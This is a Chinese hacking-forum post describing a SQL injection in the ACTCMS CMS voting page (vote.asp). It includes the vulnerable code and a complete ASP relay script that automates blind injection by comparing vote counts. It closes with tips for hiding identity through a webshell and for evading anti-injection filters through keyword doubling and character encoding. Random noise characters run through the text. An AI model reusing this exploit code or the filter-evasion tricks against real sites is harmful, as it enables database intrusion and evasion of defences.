找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2177|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

) V" N7 E# s% u' o: M8 w- M看到ninty大牛的blog的一篇文章: s' @+ R( g1 M/ I( ?0 d
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
$ o1 j/ m" `; D' U3 k关于actcms漏洞的利用  by 3x qq:381862589
6 `/ g0 c4 p- b/ e: j转载请注明以上+ `3 b" m, \' e+ I2 N( o" E
漏洞文件:
: L  |3 d' [' G4 w$ A/plus/vote/vote.asp! \) [/ S; T* f& _
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
9 n/ H4 o4 W1 ?% Q& N: V7 Q: e9 ~4 J' J+ T
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   & G. H. W2 U! Q! }7 R. y5 j4 B" j

% e* g3 w+ N6 v- l, h; Z/ W! x3    response.end    & W4 r/ ]+ S! R! q2 Y( |% L

! _7 F% T! ]7 i0 L3 H4    end if   
% ]9 Q& e6 t1 G" ]9 Y% i& E2 s4 y6 u( s' ^
5    for i=1 to request("voted").count    # u+ S$ r; F: i& P

/ J  y7 Q- X1 @4 Z' Y3 @% K% K  r6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    * H6 j+ t/ c& W2 c6 E1 S3 x

* ]1 [$ v" E5 H, E) v. t7    next   
* p- m/ N" M% }1 C  q% i0 v2 X5 ?& D4 Y1 t: ~7 q
8....    ) {8 V! {2 o1 k
6 I$ @+ j; s. Y5 d: y( ]
9response.Redirect "index.asp?id="&id&""   % Z4 c' J% n( I4 h( h
投票结束回跳转回index.asp这个投票结果页面
" A" w, q! q* b如果投票成功票数加1
9 @8 z# N$ r7 p& {2 M, c            失败票数不变  w- ?: Y1 e7 r$ z
如图:, a( k2 M9 ^. Z! f
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
  |3 Q! i* T0 B% A
  ]9 x7 f5 @$ m4 x3 ~, G- o2009-12-27 13:20' D/ @3 j2 n: {- b7 e; p
7 ]' f+ [6 }- ]1 b  P
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了9 J8 m! S2 @8 t9 }; Z) L: {
* {* E7 ?% g8 Q5 t& T7 s0 @1 @
本帖隐藏的内容需要回复才可以浏览
  |/ x! n8 c  Y3 \, w7 k; f' n9 J我们用注入中转来实现这个注入具体代码如下:
  S+ H8 q) g! V5 x& ~1 ]0 W先用寂寞的刺猬大牛的注入中转生成jmget.asp- D0 [) j/ z9 f  \
注入地址:http://localhost/actcms/plus/vote/vote.asp: u4 r! P2 Q% ?- T$ D
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项4 m0 _& i( c$ |* Q' {5 _1 ~
6 K3 w- H( d* F+ ^1 x: Y
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% . Y2 e7 a! w  U8 u, \
+ f& i( {; P! R
02JmdcwName=request("jmdcw")
. g2 F" m0 ~: Q+ j+ q3 p. ?4 P& I4 X3 h
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 2 P# T2 I# B4 C* \# T
2 E) {5 C. {; l6 ~
04JmStr="id=1&voted=-1 or 1="&JmdcwName 2 E) [$ N5 y: v' }, T* K

5 u& r( o( T3 n% y+ ^& X3 B05JmStr=URLEncoding(JmStr) 5 D/ S, A  D7 |3 i! {
, ^; D+ s% V0 y0 e$ a( ?4 L. s. x+ Q
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# F+ B. W; k6 W8 Q8 F0 T5 B8 M, D, _$ I, \6 G! z& x) c; H
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"* p" c) ^3 E2 o3 _" o- H7 X5 ~

; L; Q8 A8 |: e# x5 o5 h08testurl=testurl & "?" & JmStr
" B/ ^1 g. E% _% ]" l+ a
. f: K$ u, m8 a9 B: O9 G# Q6 S09JMUrl=JMUrl & "?" & JmStr ' j) K+ b1 g/ g- |* G$ U* _0 X$ h' t

" z& U, ^+ u0 s  K9 A% a10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
) K: U. \/ J( s" K* J
9 T$ R: M" J5 w4 `8 |  C+ @11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. E- f9 V- q9 Y5 s, K6 A+ X$ W2 ~' H4 R
12JmCok=replace(JmCok,chr(32),"%20")  
/ h' T# V% ~' r
2 n+ W" }2 m4 n, v5 o13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ( F8 ^3 G4 W* o3 [% l! v) a, O4 J: t

# [5 G( E" S% Q5 k5 ?8 R9 X14  % }; o8 G) s2 ]4 s0 @

" C% W& b! M* Z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
8 o3 Y  P- \4 J1 u" s$ T: V& f0 K
16  * H# Q; E, h7 j

; T6 j5 N! X0 A% z5 C& y" i5 z17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
$ Y$ c- M2 f! ~6 j3 j1 `' F9 t1 R+ A
) k3 W1 ^1 E; Q8 N1 j18response.write test1&""&test2&"") d' p+ b" s3 z; r. Q

% {8 o  F% n. {' R2 |2 C6 r3 Z19  # x7 Z9 k# x  n& L5 l+ v" |
$ W7 J9 _/ k( `  V% {& r% n& n% `" k
20if test1=test2 then '如前后记录相等,表示失败 . R  ?, W7 t9 C: M

* w' E7 K" g  Y( p/ s6 l21  response.write "failed"
7 M! n3 ?& _7 a8 Y
+ @( {7 g" d6 S7 v5 Q5 }22else " x( u. Q9 J. v, P+ Y( L2 L

$ `2 j" x: ^6 w1 C- D! G23  response.write "succeed"
$ ]' v5 s/ t* t( g4 h% W3 P# b2 b, V: t" o; N5 Y; B
24end if  / t- ^/ P1 o3 `9 Z
5 g. m9 x; h6 G* V2 O) O5 U
25  
" t, A! t; n7 {7 W6 e6 o: _4 f
26response.write "by 3x"
5 ^$ p$ _8 a% L5 p
" j  M/ {7 I% U; Y27  5 w+ I% z* E& e

% D$ I2 x! r0 e" ~6 Q3 S* f28  ' t# _0 u3 I  l. m5 P0 O
9 l5 a* y! w1 t! h4 ^- L. p( C
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   ( Y& `) B; G) c; `
, ]" t  t) \0 j0 O* Y4 X
30Dim Http
8 q% T" [7 l  E$ y  a
1 e. B6 d; [- Y  R3 _31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 4 D( ^" [  x1 y- W$ ]+ k: J
+ U8 ~( a, B: |0 y% y& Z
32With Http
  S) k* Q% J( f: J" m
2 p8 ^/ ^: b; X. V33  , Q0 T2 D' J; j! @

" Y# i) b. t5 b- e% O) |" V  c1 ~34.Open "GET",PostUrl,False
* j5 A: z$ |( K4 E: m  r4 ^' Y/ ]9 m& r/ G( I' Z" ~* C) p. c
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
3 t* ?# p& L3 N& v( b9 h3 y" q; I! }" i8 J1 Y
36.SetRequestHeader "Referer",PostRef & L: N$ `& P% P% Y0 \  |" b2 s
/ r7 Q# V7 a! r. `3 A* U- H
37.SetRequestHeader "Cookie",PostCok ; E1 B1 ~$ u4 ]4 E! p/ n9 {9 J
% R# T- J5 T) F+ `4 L4 X
38.Send ()
* m( J; ?  s7 A# i# S5 o) q9 f
1 O2 G. n% |6 h* @3 I' {1 f39PostData = .ResponseBody
% y( w# L) Q2 a! p0 Q4 l& t! Y, m: j. y' P3 I" H
40End With) Y; f$ \- y/ |; g! C- p2 C+ ^/ x: }
' y6 f! `6 i0 G8 k4 N0 J3 E4 ~
41Set Http = Nothing
! H" s' t& r; C& k. W- ]3 ?8 L8 _4 ?& P" v, K+ Q2 V3 s5 {3 W
42PostData =bytes2BSTR(PostData)
: @* _9 U; p' N- A. g* D/ O6 q2 i% n% }3 _/ E' ~' \6 u6 v
43End Function8 t# s0 }: y: J# o* V

# {" S' v- _" @  \% h! M' o) x0 N44  : e  X$ N7 b% @. @$ y* W

3 w. S% X* X; z& T* J$ Q; n45  + K7 y4 S4 S; l' [1 b

# r2 Z5 n& S# l- ?2 V46Function bytes2BSTR(vIn) 2 \0 u. W3 Z4 a/ n' F' e# W

0 d; Z1 F; R" E2 `47Dim strReturn
7 s/ B; z! p8 x7 s' `1 {
. G: L- F* f+ o3 O+ _48Dim I, ThisCharCode, NextCharCode
$ ?% |; }9 l, }1 F
: T5 @! E0 s' v+ d( t49strReturn = ""4 c  c$ Q3 W/ b6 W! e% N& s
& Z: V- F0 X" b7 k9 C. x0 @/ z) y
50For I = 1 To LenB(vIn) 9 z7 S& _: G+ r
5 ]+ D7 u0 [3 [, E  x4 q9 q' U
51ThisCharCode = AscB(MidB(vIn, I, 1)) : T- t% X3 D: g' i: m
( j- {* g* \( h$ o: r
52If ThisCharCode < &H80 Then
& G/ r! p6 p) T' I6 ]  t& ]# q3 Y, K9 U" M2 |2 P
53strReturn = strReturn & Chr(ThisCharCode) ' t/ i( [, x! e  ^$ A1 o
( }, x/ S! _+ P
54Else1 d! c" r" V, G: G) F, T
* D  U& Z3 E8 ^
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ `. @; T1 ?) e6 _5 ~0 `7 l
' T) Y2 u% V9 [% M56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
. Z. z/ x' @' v6 x
* ]; v$ _1 l& U+ c57I = I + 1 1 ~7 `6 n' V) p) I- e, q: ~  Q

8 O1 Y. U" {" B: g$ _$ Y( Z. {58End If
0 f! s. M6 A5 Z; ^, x7 j# K0 D0 k) t
59Next; R. `4 D, F1 d& y) H
) E/ T% q# {( w3 [
60bytes2BSTR = strReturn / H+ A5 G5 r7 Q( F7 U( K2 B/ a# O

4 m! ~* J- a/ I6 q61End Function
9 P6 N2 B6 v% T! ]/ J. R% t* c: h) p6 \) d2 R
62  ( m* P. S4 a& w( q5 P: y3 {; Z

" O! k; p9 G# s2 l4 X$ ^63Function URLEncoding(vstrin)  - {4 p; c! ~, r9 V# ~! s
5 q% b2 d% y* |  m- [
64strReturn="". Z- T7 C8 G7 C8 M" Y; \
; S0 a5 G" k0 h4 u* P
65Dim i / |$ b4 j9 p3 Q7 M# e' |1 \
: ^2 }% L7 O0 u" _  _& O
66For i=1 To Len(vstrin)
9 a; e4 e# w5 l7 ?
3 E# S1 K8 V% L4 M+ n% u8 J1 x67ThisChr=Mid(vstrin,i,1)
) \: U) w7 _4 f  N5 b# o3 [
0 l8 w! {, r4 T3 s, d68if Abs(Asc(ThisChr))< &HFF Then# q5 I( B4 [( V

; s* a8 L8 {3 x' E9 {69strReturn=strReturn & ThisChr
# w9 v+ O) ^& N' \3 M' O
% F. L7 J0 J& W. W7 w70Else8 e9 x, X6 U( V: x, ?* z! O% r
# g- l3 \- L7 y
71InnerCode=Asc(ThisChr)
8 ]) ?9 [& j2 ~, n0 _0 U3 d3 J
& N/ N) V( l0 _' c72If InnerCode<0 Then+ {5 ^+ \0 f/ P# S

0 t5 t8 ~: G+ B73InnerCode=InnerCode + &H10000 ' t' _( a% g9 B/ `4 q
; ~1 I1 K$ H7 [, P0 c. C4 L9 P
74End If  V' ?9 P( l2 x1 n! ^* D6 H& Q
8 ]; u& y6 \  ]! \" A) Q) _
75Hight1=(InnerCode And &HFF00) \&HFF ! W9 l2 s" \. \# V4 K" ^, s. \
* p( ~' Z; k2 J
76Low1=InnerCode And &HFF
$ r$ o7 |  B+ v) k; B0 y+ [$ x8 S+ k2 @
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% Q! s0 l! _4 V# K' V/ e$ t3 O3 I; b# l! q) _9 i0 Z
78End if ; g6 z. ?4 Q5 H0 f6 \( P) f
- Q" \( l' d- e+ g( M) I' j
79Next
7 D& N6 y8 f+ d  Q2 I7 ~2 l
/ T8 R4 a# F! K; X80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
/ g' T6 s( D4 k& U. J" i& [
3 L0 T+ c5 u- K& K81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
/ c. D# r6 m: H0 ~$ b8 E9 H) {# k- }1 F/ j8 R8 o
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
" r/ j7 W6 P* e( X
3 x2 o2 K3 t6 d% W& ^83URLEncoding=strReturn
  f! H* O. P  h. L/ z9 T/ Q( q7 O9 I: c' E7 H
84End Function
2 G' U2 x3 Q$ `( q
" w3 W0 P* k5 v6 s9 Q85  
9 y% C! C& y+ w. Q% p/ Q
  j% N, P7 p$ V' i1 E' A86function getSt(body) ( M( Q8 S2 F: W2 F) s! C5 I% i

; @  q6 n$ B9 d; @; G8 W0 `- a87  startpot=instr(body,"投票人数:")+len("投票人数:")
- ^: W7 x( }' B8 t# q6 C; ~% t$ w7 H* x; o
88  endpot=instr(startpot,body," ")
1 n( c( f+ ~5 v% g8 W; c3 V% o& S( s- e# x
89  getSt=mid(body,startpot,endpot-startpot)
! O. @: S$ h! m& G" Q" A1 l  L1 F( E3 h
90end function
- x( y7 N' c$ J2 f; z. U5 F' F# Q, D, l3 ?- F% N
91%>3 e6 h( `2 K. O7 [1 A9 Y9 p. S
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了, i: K  l3 T6 Y
测试下效果:7 ?) P+ n( p* x
投票成功:
+ ^% k/ g1 E! p( C) z+ [http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
9 \( K0 ~) v1 v* y5 i
& h3 V, j0 z1 [# j2009-12-27 13:294 y& a# ^7 ?4 }- x7 N
投票失败
( k1 b" g' M6 [, ^http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB); N9 L4 b" `1 l: ?
# ]' S4 k8 I# V& v: D7 m9 r
2009-12-27 13:29) O3 r; q: x( i
-------------------------------------------------------------------------------
+ m! P1 l1 l3 A5 q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
- X' r* n3 t" W6 n1 P; k( J/ q( |' l很抱歉。。。只能用单线程工具去注入。。。。。
5 z3 R; C2 n+ H3 t5 G+ o+ h9 }2 E所以失败。。。不好意思。。。3 i5 A7 j5 S9 f6 U9 y' n; f) O
-------------------------------------------------------------------------------
/ k. i3 c/ b% K. n
3 H0 }5 o$ A1 E7 v; l" J注入中转的一些其他应用( E* k/ I8 c  j# q! I& X' |
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了3 r& r: I2 u* j- y3 [. L
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id: v" Y# N3 S+ ~" O/ h
2.post注入转成get型的注入,方便我们使用工具来跑" [" {8 i0 o6 P' T  M
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
- F/ P* o( p0 q4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
# P2 d* C6 l% d3 q2 ^8 @" v$ o& [0 W% v5 B; n, z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表